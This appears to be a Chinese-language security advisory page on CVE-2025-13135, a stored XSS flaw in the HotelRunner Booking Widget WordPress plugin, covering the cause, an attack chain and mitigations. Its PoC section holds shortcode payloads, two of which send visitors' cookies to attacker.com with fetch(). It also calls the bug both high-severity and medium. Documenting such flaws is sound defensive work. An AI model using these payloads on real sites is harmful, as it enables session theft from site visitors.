IPBUF安全漏洞报告
English
CVE-2025-13135 CVSS 6.4 中危

CVE-2025-13135 WordPress HotelRunner Booking Widget插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-13135
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HotelRunner Booking Widget plugin for WordPress

相关标签

CVE-2025-13135存储型XSSWordPress插件漏洞HotelRunner Booking Widget短代码注入跨站脚本攻击CVSS 6.4中危漏洞WordPress安全Web应用安全

漏洞概述

CVE-2025-13135是WordPress平台HotelRunner Booking Widget插件中的一个高危安全漏洞。该插件是一款广泛应用于酒店预订管理系统的WordPress组件,为网站提供酒店预订小工具功能。漏洞存在于插件的hotelrunner短代码处理逻辑中,由于对用户提供的属性参数缺乏充分的输入 sanitization(消毒)和输出转义(output escaping),导致攻击者可以在页面中注入并存储任意Web脚本代码。

此漏洞被评定为存储型XSS(Stored Cross-Site Scripting),这意味着恶意脚本会被永久存储在服务器端数据库中,任何访问包含恶意代码页面的用户都会自动执行这些脚本。攻击者利用此漏洞可以窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。

根据CVSS 3.1评分系统,该漏洞获得6.4分(中等严重程度),攻击向量为网络(AV:N),攻击复杂度低(AC:L),需要低权限(PR:L),无需用户交互(UI:N)。受影响版本为5.2.4及以下所有版本。建议受影响的用户立即升级到最新版本以修复此安全漏洞。

技术细节

HotelRunner Booking Widget插件提供了[hotelrunner]短代码功能,允许用户在WordPress页面或文章中嵌入酒店预订小工具。然而,该插件在处理短代码属性时存在严重的安全缺陷。

漏洞根源在于两个方面:首先是输入验证不足,插件未对hotelrunner短代码的属性参数进行严格的输入检查和过滤,允许攻击者注入包含JavaScript代码的特殊字符和标签。其次是输出转义缺失,插件在将用户提供的属性值输出到HTML页面时,没有进行适当的HTML实体编码或转义处理,导致注入的恶意脚本能够被浏览器解析执行。

攻击者只需拥有WordPress网站的贡献者(Contributor)或更高权限账户,即可利用此漏洞。攻击者可以在文章或页面中插入恶意构造的hotelrunner短代码,例如:[hotelrunner hotel_id='"><script>alert(document.cookie)</script>'],当其他用户访问该页面时,存储的JavaScript代码将在其浏览器上下文中执行。

由于是存储型XSS,恶意脚本会持久存在于数据库中,每次页面加载时都会执行,这使得攻击影响范围更广、更难检测和清除。攻击者可能利用此漏洞窃取认证凭据、进行横向移动或对网站访问者实施进一步攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的贡献者(Contributor)或更高权限账户
STEP 2
步骤2
攻击者在文章或页面中插入包含恶意JavaScript代码的hotelrunner短代码
STEP 3
步骤3
由于插件缺乏输入验证和输出转义,恶意脚本被存储到数据库中
STEP 4
步骤4
普通用户访问包含恶意短代码的页面,浏览器执行注入的JavaScript
STEP 5
步骤5
恶意脚本窃取用户Cookie、会话令牌或其他敏感信息并发送到攻击者服务器
STEP 6
步骤6
攻击者利用窃取的凭据劫持用户账户或进行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13135 PoC: HotelRunner Booking Widget Stored XSS --> <!-- Description: Stored Cross-Site Scripting via hotelrunner shortcode Affected Version: <= 5.2.4 Author: [email protected] CVSS Score: 6.4 (MEDIUM) --> <!-- PoC 1: Basic XSS via hotel_id attribute --> [hotelrunner hotel_id='"><script>alert('XSS - CVE-2025-13135')</script>'] <!-- PoC 2: Cookie stealing payload --> [hotelrunner hotel_id='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- PoC 3: Session hijacking payload --> [hotelrunner hotel_id='"><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>'] <!-- PoC 4: DOM manipulation payload --> [hotelrunner attr='"><script>document.body.innerHTML='<h1>Malicious Page</h1>'</script>']

影响范围

HotelRunner Booking Widget plugin for WordPress <= 5.2.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)限制WordPress用户的贡献者权限,审查所有新创建的内容;2)使用Web应用防火墙(WAF)规则拦截包含XSS特征的请求;3)禁用非管理员用户的文章发布功能;4)安装WordPress安全插件进行实时监控和告警;5)定期检查数据库中是否存在可疑的短代码内容。但最有效的解决方案仍是尽快升级到插件的最新版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表